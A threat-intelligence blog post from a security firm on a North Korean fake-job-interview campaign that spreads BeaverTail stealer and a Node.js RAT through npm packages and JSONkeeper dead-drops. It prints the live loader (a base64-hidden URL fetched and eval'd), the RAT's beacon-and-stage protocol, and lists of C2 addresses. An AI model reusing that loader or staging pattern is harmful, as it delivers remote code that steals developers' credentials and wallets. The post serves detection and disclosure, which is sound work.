BACK

Real World Attacks

How Ossprey uncovered a large-scale DPRK Contagious-Interview campaign

Valentino Duval

2 Jul 2026

Real World Attacks

How Ossprey uncovered a large-scale DPRK Contagious-Interview campaign

Valentino Duval

2 Jul 2026

Real World Attacks

How Ossprey uncovered a large-scale DPRK Contagious-Interview campaign

Valentino Duval

2 Jul 2026

No headings found in content selector: .toc-content

The DPRK has a long history of luring developers with fake job interviews and take-home coding tests. The ultimate goal is to convince the victim to load a remote-access tool (RAT) or infostealer onto their system through a trojanised project.

At Ossprey, we spend our time developing systems to detect open-source malware, including NPM and PyPi; the open-source ecosystems that millions of users and developers rely on every day.

This time, we don't want to talk about packages. Instead we'll explore how a pattern of second-stage loaders allowed us to discover the true extent of an ongoing DPRK operation, a continuation of what Ossprey previously covered.

Executive Summary

Ossprey's live npm monitoring flagged two malicious packages in late April. Both fetched second-stage payloads, that were immediately attributed to DPRK's Contagious Interview campaign.

We found 298 URLs serving active Contagious Interview malware. This post covers what was in them, how the infrastructure hangs together, a second tool the campaign is running alongside BeaverTail, and a live npm dropper we caught this afternoon.

Key Findings

  • Ossprey identified 298 active Contagious Interview payloads.

  • We mapped 26 distinct C2 servers across six infrastructure variants.

  • The campaign is running two separate tools: the well-documented BeaverTail infostealer on port 1224, and a distinct self-contained Node.js HTTP RAT.

  • BeaverTail targets 54 browser extensions by ID: 40 crypto wallets and 10 password managers, alongside full Chromium credential database extraction on Windows and macOS

  • A PE stage-2 payload endpoint (216.126.225[.]104:5000/download-app) was still live and serving as of publication.

The Investigation

It all started with ozonex-sdk@1.0.1 [npm], which Ossprey detected in late April. Inside it was a URL pointing to a second-stage payload: https://jsonkeeper[.]com/b/UPCMV. This was our live threat-hunting platform's first sighting of a Contagious Interview package; further inspection led us to a BeaverTail JavaScript infostealer and subsequently to a Python RAT, known as InvisibleFerret.

The very next day we detected another package, metrica-chain@2.4.5 [npm]; just like before, this one also fetched a second-stage payload from https://jsonkeeper[.]com/b/BADC6.

Then another, and another.

We noticed that all of these payloads were being served by jsonkeeper with a short, non-sequential string identifying each entry. At this point we had collected enough samples that we had very strong rules for differentiating between DPRK samples and unrelated malware and code. So we started investigating.

After 10 days, we had checked ~60 million possible entries, yielding ~120k results. We ran these entries through our detection pipeline and produced a list of 298 URLs serving Contagious-Interview flavoured malware.

You can learn more about the Contagious-Interview campaign from these excellent articles.

How we found them in the investigation

Investigating the namespace was the easy part. The hard part is that most of what comes back is legitimate: JSONkeeper is a real service, and the investigation stored on the order of 120,000 JSON documents, the overwhelming majority of them harmless. We needed one signal that was cheap enough to run across the whole database and precise enough not to bury us in false positives.

That signal was the obfuscation. Every one of these samples is run through obfuscator[.]io, whose output has an unmistakable shape: a large array of encoded strings, then a self-invoking function that rotates that array into place with a while(!![]) loop before any real code runs. Instead of trying to recognise the malware we fingerprinted the obfuscator.

# find_obfuscated.py: the obfuscator.io signature, tested against every blob we investigated
RE_WHILE = re.compile(r'while\(\s*!!\s*\[\s*\]\s*\)')   # the string-array rotation loop

def is_obfuscated(s):        # s = any string value found under any JSON key
    return len(s) > 500 and '(function(' in s and RE_WHILE.search(s)
# find_obfuscated.py: the obfuscator.io signature, tested against every blob we investigated
RE_WHILE = re.compile(r'while\(\s*!!\s*\[\s*\]\s*\)')   # the string-array rotation loop

def is_obfuscated(s):        # s = any string value found under any JSON key
    return len(s) > 500 and '(function(' in s and RE_WHILE.search(s)
# find_obfuscated.py: the obfuscator.io signature, tested against every blob we investigated
RE_WHILE = re.compile(r'while\(\s*!!\s*\[\s*\]\s*\)')   # the string-array rotation loop

def is_obfuscated(s):        # s = any string value found under any JSON key
    return len(s) > 500 and '(function(' in s and RE_WHILE.search(s)

We applied it in two passes: a cheap SQL LIKE '%while(!![]%' to drop the ~120,000 rows down to a short candidate list, then a full JSON parse of each survivor, running the test against every string value inside it. We found payloads stashed under cookie, content, model, message and a dozen other key names. In total it matched 298 payloads across our data.

The signature is deliberately broad. obfuscator[.]io is off-the-shelf, so on its own a hit only means "someone packed this", not "DPRK", and narrowing from obfuscated to this actor is the job of the clustering and infrastructure work. But inside JSONkeeper's namespace the two lined up almost exactly: nearly every obfuscated payload we pulled clustered into this one campaign.

Through static analysis we were able to cluster the malware into the following groups.

Cluster

Samples

Role

short / array-size 0 (XOR+RC4)

110

Full BeaverTail stealer (socket.io / operator-config variants)

short / array-size 109

36

HTTP RAT dropper (port 1244), see below

~130 smaller clusters

remainder

loader / stealer variants

Thanks to existing reporting and the open-source malware community, we were able to attribute all of these samples to DPRK operations with extremely high confidence.

Every payload is obfuscated with obfuscator[.]io, an extremely popular off-the-shelf JavaScript obfuscator that is clearly favoured by this actor. The re-use of generator parameters (array size, rotation offset) also proved a great help in allowing us to cluster these samples.

Dealing with heavily obfuscated JavaScript is a daily occurrence for us, so we were able to run all 298 of these samples through our de-obfuscation pipeline.

Disrupting the campaign

Ossprey Security was able to collaborate with the operator of JSONkeeper to ensure that many of the verified URLs hosting these second stage payloads were deleted, effectively disabling the newest wave. Collaboration is on-going to ensure that detected samples are removed as fast as possible.

The shape of the network

We also mapped the campaign's infrastructure. Much of it was already public, which strengthened our attribution.

NVISO Labs had documented this exact campaign, including its pivot to JSON-storage dead-drops, back in November 2025, right down to a published list of C2 servers. Five of ours appear on it: 23.227.202[.]244, 146.70.253[.]107, 45.61.150[.]31, 88.218.0[.]78 and 5.253.43[.]122. Another dozen sit in the same /24 or /16 ranges as hosts NVISO named. And the two C2 ports (1224 and 1244) are associated by ESET with BeaverTail activity.

Across the 298 samples we pulled out 26 distinct command-and-control servers**.** These fall into a handful of architectural variants:

Variant

Servers

Description

HTTP loader, port 1224

12

Classic /client/<id> BeaverTail/InvisibleFerret C2

HTTP RAT, port 1244

6

Dropper with /s/<id> beacon (more on this below)

socket.io + PE download, port 5000

2

/download-app serves a Windows executable

socket.io + /api/service upload

1

138.201.140.23, the busiest, now sinkholed

socket.io

2

short-event C2

WebSocket, embedded operator config

3

C2 octets split across JSON fields

What the stealer takes

The bulk of the set is standard BeaverTail. It checks the credential databases of every Chromium-based browser it can find (Chrome, Edge, Brave, Opera, Yandex), decrypting the saved passwords with DPAPI on Windows and reaching for the login Keychain on macOS.

Then it goes after browser extensions, 54 of them, by ID. The real list is 40 crypto wallets (MetaMask, Phantom, OKX, Keplr and others), but also 10 password managers, including Bitwarden, 1Password, LastPass, NordPass, Norton, RoboForm and Proton Pass.

For persistence it drops a LaunchAgent on macOS or a Run/Startup entry on Windows, and several samples reach a /download-app endpoint that hands back an 8.4 MB Windows executable, the next stage. That endpoint, on 216.126.225[.]104:5000, was still live and still serving at the time of publication.

A second tool: the homebrew RAT

In a second, smaller cluster (the 36-sample array-size-109 group from the table above) we found a different tool entirely: a self-contained Node.js HTTP RAT with its own protocol:

1. BEACON   GET  http://<C2>:1244/s/<12-hex campaign id>
            server replies "ZT3" + base64("<new_ip>:1244,<type>")
2. IDENTIFY POST http://<new_C2>:1244/keys
            { ts, type=<platform>, hid=<hostname>, ss="oqr", cc=<infected script path> }
3. STAGE-2  GET  http://<new_C2>:1244/j/<type>   → ~/.j/<type>/test.js
4. INSTALL  npm --prefix ~/.j/<type>/ install     (self-bootstrapping deps)
5. EXECUTE  node ~/.j/<type>

1. BEACON   GET  http://<C2>:1244/s/<12-hex campaign id>
            server replies "ZT3" + base64("<new_ip>:1244,<type>")
2. IDENTIFY POST http://<new_C2>:1244/keys
            { ts, type=<platform>, hid=<hostname>, ss="oqr", cc=<infected script path> }
3. STAGE-2  GET  http://<new_C2>:1244/j/<type>   → ~/.j/<type>/test.js
4. INSTALL  npm --prefix ~/.j/<type>/ install     (self-bootstrapping deps)
5. EXECUTE  node ~/.j/<type>

1. BEACON   GET  http://<C2>:1244/s/<12-hex campaign id>
            server replies "ZT3" + base64("<new_ip>:1244,<type>")
2. IDENTIFY POST http://<new_C2>:1244/keys
            { ts, type=<platform>, hid=<hostname>, ss="oqr", cc=<infected script path> }
3. STAGE-2  GET  http://<new_C2>:1244/j/<type>   → ~/.j/<type>/test.js
4. INSTALL  npm --prefix ~/.j/<type>/ install     (self-bootstrapping deps)
5. EXECUTE  node ~/.j/<type>

The implant also won't run unless the server answers with the literal token ZT3 first, which cheaply screens out the sandboxes and scanners that poke a beacon without knowing the handshake.

The check-in POST carries process.argv[1], the path of the script that launched the malware, which tells the operator, and us, exactly which package or "interview project" the victim ran.

Methodology for attribution

This malware is not BeaverTail, it has a completely different protocol and structure. Our attribution of this to the same actor is through strong similarities in distribution, hosting and trade-craft.

The RAT is staged in the same JSONkeeper namespace as the confirmed BeaverTail samples, in the same window, built with the same obfuscator[.]io configuration, on the sibling port (1244 to BeaverTail's 1224), and its servers sit in the same provider /24s as NVISO's published Contagious-Interview C2: our 38.92.47.175 and .157 next door to NVISO's 38.92.47.85/.91/.151, and our 45.43.11.199 a single address from their .201.

For this to be someone else, they would have to be independently abusing the same storage service, with the same obfuscator config, on the same ports, renting C2s in the same /24s as DPRK, at the same time.

One caveat: those /24s belong to a budget VPS host (Tier.net), so on its own that proximity is suggestive rather than conclusive. It's the convergence of channel, toolchain, ports and hosting all pointing the same way that gets us to high confidence, not any single thread.

Caught in the act: a live npm dropper

While the investigation was still running, one of these packages was detected by Ossprey's real-time ecosystem scanner. On 30 June a package called buffer-util-internal was published by a throwaway account kendallmix1223. It masquerades as feross/buffer, and nearly all of it (lines 69 to 2128) is the real library copied byte for byte. The only thing added is a single block near the top:

// buffer-util-internal/index.js lines 47-68, bolted onto an otherwise-genuine copy of feross/buffer
const tokenStringRe = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9QVDBPTg=="; // base64 -> https://www.jsonkeeper[.]com/b/PT0ON
(function () {
  fetch(atob(tokenStringRe))
    .then((t) => t.json())
    .then((data) => {
      const codeString = data.content;
      eval(codeString);
    })
    .catch((t) => console.error("Error fetching or executing code:", t));
})();
// buffer-util-internal/index.js lines 47-68, bolted onto an otherwise-genuine copy of feross/buffer
const tokenStringRe = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9QVDBPTg=="; // base64 -> https://www.jsonkeeper[.]com/b/PT0ON
(function () {
  fetch(atob(tokenStringRe))
    .then((t) => t.json())
    .then((data) => {
      const codeString = data.content;
      eval(codeString);
    })
    .catch((t) => console.error("Error fetching or executing code:", t));
})();
// buffer-util-internal/index.js lines 47-68, bolted onto an otherwise-genuine copy of feross/buffer
const tokenStringRe = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9QVDBPTg=="; // base64 -> https://www.jsonkeeper[.]com/b/PT0ON
(function () {
  fetch(atob(tokenStringRe))
    .then((t) => t.json())
    .then((data) => {
      const codeString = data.content;
      eval(codeString);
    })
    .catch((t) => console.error("Error fetching or executing code:", t));
})();

That is the same dead-drop pattern as every sample in the set: fetch a JSONkeeper blob, eval its content field. What made this one useful is that the operator was still working on it. The package shipped twice in six minutes, 1.0.13 at 21:35 and 1.0.14 at 21:41 UTC, and the only change between the two was a commented-out toggle that swapped the active blob from PT0ON to a second one, CWOV9. Both were live and attacker-controlled, being rotated in real time.

We already had both blobs. PT0ON and CWOV9 were sitting in our enumerated set; the live package pushed us to take a closer look:

  • PT0ON is the port-1244 Node RAT again, the same /s/<id> beacon and ZT3 handshake from the previous section, pointing at a C2 we had not seen before: 45.59.163.198.

  • CWOV9 is a one-shot downloader. It runs npm install axios socket.io-client in a temp directory, pulls a payload from 216.126.225.83/api/service/<token>, writes it to 0001.dat and runs it with node. That C2 sits in the same 216.126.225.x block as 216.126.225.104, the live PE-serving host from earlier. The identical install command, 0001.dat drop and /api/service/<token> URL also turned up in a separate DPRK npm chain we analysed, so this is a reused module rather than a one-off.

What this means for you

Ossprey Security's platform isn't just for enterprise and business users. Engineers, crypto users and developers are constantly being targeted for their access and cryptocurrencies.

You can use Ossprey now, for free, to scan npm and PyPI packages and GitHub repos.

Alongside only opening code and projects from sources you trust, this can help protect you from threats that we are currently seeing in the wild.

IOCs

Live / notable C2

216.126.225.104:5000/download-app   serves Windows PE stage-2
138.201.140.23:4553                 busiest C2 (23 samples)
95.216.37.186:5000                  Hetzner FI - /download-app + /client
216.126.225.104:5000/download-app   serves Windows PE stage-2
138.201.140.23:4553                 busiest C2 (23 samples)
95.216.37.186:5000                  Hetzner FI - /download-app + /client
216.126.225.104:5000/download-app   serves Windows PE stage-2
138.201.140.23:4553                 busiest C2 (23 samples)
95.216.37.186:5000                  Hetzner FI - /download-app + /client

HTTP loaders (port 1224)

23.227.202.51   23.227.202.52   23.227.202.244   23.227.203.204   23.227.203.192
146.70.253.107  45.61.150.31    88.218.0.78      5.253.43.122     217.148.142.113
138.201.125.58  45.140.167.218
23.227.202.51   23.227.202.52   23.227.202.244   23.227.203.204   23.227.203.192
146.70.253.107  45.61.150.31    88.218.0.78      5.253.43.122     217.148.142.113
138.201.125.58  45.140.167.218
23.227.202.51   23.227.202.52   23.227.202.244   23.227.203.204   23.227.203.192
146.70.253.107  45.61.150.31    88.218.0.78      5.253.43.122     217.148.142.113
138.201.125.58  45.140.167.218

HTTP RAT (port 1244), same operator, distinct tool

147.124.202.225  147.124.202.213  147.124.202.210
38.92.47.175     38.92.47.157     45.43.11.199
147.124.202.225  147.124.202.213  147.124.202.210
38.92.47.175     38.92.47.157     45.43.11.199
147.124.202.225  147.124.202.213  147.124.202.210
38.92.47.175     38.92.47.157     45.43.11.199

WebSocket operator-config cluster

144.172.104.196:7431/7436   216.126.224.168:7101/7106   216.126.237.71:4891-4899
144.172.104.196:7431/7436   216.126.224.168:7101/7106   216.126.237.71:4891-4899
144.172.104.196:7431/7436   216.126.224.168:7101/7106   216.126.237.71:4891-4899

Dead-drops / staging

jsonkeeper[.]com/b/<id>

jsonkeeper[.]com/b/<id>

jsonkeeper[.]com/b/<id>

Live npm dropper (buffer-util-internal, 30 Jun 2026)

npm package    buffer-util-internal@1.0.13, @1.0.14   maintainer kendallmix1223 (throwaway)
dead-drop      jsonkeeper[.]com/b/PT0ON   - port-1244 RAT, C2 45.59.163.198
dead-drop      jsonkeeper[.]com/b/CWOV9   - downloader, C2 216.126.225.83, drops 0001.dat
C2 (new)       45.59.163.198:1244         216.126.225.83:80/api/service
SHA256 v1.0.13 index.js  259fe955fae02f969363637eb267fa01755fec71c03eaa9d5e7f0cafc7a08015
SHA256 v1.0.14 index.js  379406f8a9339f033be1f802002b78048778ab88d3049b8cea7fcf9e70fd54d1
npm package    buffer-util-internal@1.0.13, @1.0.14   maintainer kendallmix1223 (throwaway)
dead-drop      jsonkeeper[.]com/b/PT0ON   - port-1244 RAT, C2 45.59.163.198
dead-drop      jsonkeeper[.]com/b/CWOV9   - downloader, C2 216.126.225.83, drops 0001.dat
C2 (new)       45.59.163.198:1244         216.126.225.83:80/api/service
SHA256 v1.0.13 index.js  259fe955fae02f969363637eb267fa01755fec71c03eaa9d5e7f0cafc7a08015
SHA256 v1.0.14 index.js  379406f8a9339f033be1f802002b78048778ab88d3049b8cea7fcf9e70fd54d1
npm package    buffer-util-internal@1.0.13, @1.0.14   maintainer kendallmix1223 (throwaway)
dead-drop      jsonkeeper[.]com/b/PT0ON   - port-1244 RAT, C2 45.59.163.198
dead-drop      jsonkeeper[.]com/b/CWOV9   - downloader, C2 216.126.225.83, drops 0001.dat
C2 (new)       45.59.163.198:1244         216.126.225.83:80/api/service
SHA256 v1.0.13 index.js  259fe955fae02f969363637eb267fa01755fec71c03eaa9d5e7f0cafc7a08015
SHA256 v1.0.14 index.js  379406f8a9339f033be1f802002b78048778ab88d3049b8cea7fcf9e70fd54d1

Other

Telegram bot   @mp0219_bot  (id 8201485511)        - live exfil C2
PE stage-2     SHA256 ec26774218bc9ba577cab41f108138831165d891e83252cce231a542e797a0d3
Telegram bot   @mp0219_bot  (id 8201485511)        - live exfil C2
PE stage-2     SHA256 ec26774218bc9ba577cab41f108138831165d891e83252cce231a542e797a0d3
Telegram bot   @mp0219_bot  (id 8201485511)        - live exfil C2
PE stage-2     SHA256 ec26774218bc9ba577cab41f108138831165d891e83252cce231a542e797a0d3

Typosquat / staging domains

x20socket[.]io  x22socket[.]io  gsocket[.]io  logsocket[.]io  sizesocket[.]io
x20code[.]app   x22chrome[.]app  kxhinl3[.]ru  ex5jg[.]cn  vuwoner[.]com  wrdpaer[.]com
x20socket[.]io  x22socket[.]io  gsocket[.]io  logsocket[.]io  sizesocket[.]io
x20code[.]app   x22chrome[.]app  kxhinl3[.]ru  ex5jg[.]cn  vuwoner[.]com  wrdpaer[.]com
x20socket[.]io  x22socket[.]io  gsocket[.]io  logsocket[.]io  sizesocket[.]io
x20code[.]app   x22chrome[.]app  kxhinl3[.]ru  ex5jg[.]cn  vuwoner[.]com  wrdpaer[.]com

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.